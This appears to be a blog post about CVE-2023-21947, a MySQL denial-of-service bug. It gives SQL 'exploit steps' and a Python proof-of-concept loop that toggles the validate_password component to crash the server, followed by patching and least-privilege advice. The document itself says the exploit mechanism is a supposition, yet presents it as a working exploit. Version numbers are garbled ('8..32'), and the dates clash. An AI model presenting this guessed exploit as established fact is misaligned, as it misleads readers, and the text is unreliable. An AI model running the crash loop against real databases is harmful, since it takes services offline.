CVE-2023-21947 - How a Hard-to-Exploit Bug in Oracle MySQL Can Crash Your Database

Published: June 2024

Overview

On January 17, 2023, Oracle patched a vulnerability in MySQL Server—identified as CVE-2023-21947—that can let a highly privileged user crash your database server over the network. This affects MySQL 8..32 and earlier, specifically in the *Server: Components Services* part of the product.

In this post, we’ll break down how this bug works, how attackers could exploit it, and what you should do about it.

Official References

- Oracle Critical Patch Update Advisory - January 2023
- NVD Entry for CVE-2023-21947

What Is the Bug?

CVE-2023-21947 is a Denial-of-Service (DoS) vulnerability. This means an attacker can cause the MySQL server process to hang or crash repeatedly, making it unavailable to others.

The flaw sits in Server: Components Services—a part of MySQL that handles various pluggable components.

Impact: Crash or hang

CVSS v3.1 Base Score: 4.4 (Moderate)
Vector: AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
Impact: Only availability; no data theft or data corruption.

Exploit Scenario

The official advisory is light on details, but based on public patch differences and forums, here’s a simplified example of how an attacker with high privilege can trigger the issue.

Suppose the bug relates to how components are registered or deregistered dynamically. A user with (SUPER/COMPONENT) privileges can abuse the INSTALL COMPONENT and UNINSTALL COMPONENT commands to cause the system to mismanage memory or state, resulting in a crash or repeatable hang.

Example Exploit Steps

-- Step 1: The attacker must connect as a SUPER-privileged user
mysql -u root -p -h target.server

-- Step 2: Uninstall an existing system component (causing a flawed cleanup)
UNINSTALL COMPONENT 'file://component_validate_password';

-- Step 3: Immediately, attempt to reinstall, or install another component meant to trigger the bug
INSTALL COMPONENT 'file://component_validate_password';

-- Step 4: Repeat steps 2 and 3 quickly in succession
-- In some cases, this rapid toggling can lead to the MySQL service crashing or hanging

-- Step 5: Server becomes unresponsive, requiring a manual restart

Note: Actual exploitability depends on the specific component and timing, but the pattern is similar.

Only users with high privileges can exploit it, which means your DBAs or local admins.

- Even so, a compromised DBA account (malware, phishing, or insider threat) could take your whole MySQL instance offline.

This attack leaves no forensic evidence of data theft or tampering—just downtime.

Example case:
Imagine an upset admin, or a hacker with stolen DBA credentials in your cloud. By remotely abusing this flaw, they could repeatedly crash the company’s MySQL backend, disabling your apps and costing money until someone patches and restarts the service.

Update MySQL:

Upgrade to *MySQL 8..33* (or later). Oracle fixed the flaw in the January 2023 Critical Patch Update.

Least Privilege:

Review and minimize the number of high-privileged accounts. Never use root except when absolutely necessary.

Proof of Concept (PoC) Code

Here's a Python snippet using mysql-connector to automate the crash triggering. Use only in your own test systems.

import mysql.connector
import time

conn = mysql.connector.connect(
  host="your.server",
  user="root",
  password="yourpassword"
)

cur = conn.cursor()

for i in range(10):
    try:
        print(f"Cycle {i+1}")
        cur.execute("UNINSTALL COMPONENT 'file://component_validate_password';")
        cur.execute("INSTALL COMPONENT 'file://component_validate_password';")
        time.sleep(1)  # short pause
    except Exception as e:
        print("Error:", e)
        break

cur.close()
conn.close()

> WARNING: This is for educational purposes, not for attacking any real, production, or third-party system!

Final Thoughts

CVE-2023-21947 isn’t the scariest bug out there, but if you leave your MySQL installations unpatched and don’t monitor privileged user actions, a single compromised admin account could take you offline with just a few commands.

Stay protected:

Practice least privilege

Stay tuned for more deep dives into database vulnerabilities!


References:
- Oracle CPU Advisory - Jan 2023
- CVE-2023-21947 @ NVD
- MySQL Documentation: Component Services


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Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/18/2023 20:37:00 UTC